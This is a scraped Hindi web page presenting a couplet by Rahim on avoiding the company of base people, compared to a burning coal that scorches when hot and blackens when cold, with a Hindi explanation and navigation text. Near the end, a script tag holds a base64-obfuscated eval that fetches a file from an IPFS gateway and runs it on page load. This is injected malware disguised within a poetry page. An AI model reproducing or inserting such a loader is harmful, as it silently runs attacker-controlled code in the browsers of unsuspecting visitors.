एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

ओछे को सतसंग -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ओछे को सतसंग, ‘रहिमन’ तजहु अंगार ज्यों ।
तातो जारै अंग , सीरे पै कारो लगे ॥

अर्थ

नीच का साथ छोड़ दो, जो अंगार के समान है। जलता हुआ अंगार अंग को जला देता है, और ठंडा हो जाने पर कालिख लगा देता है।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख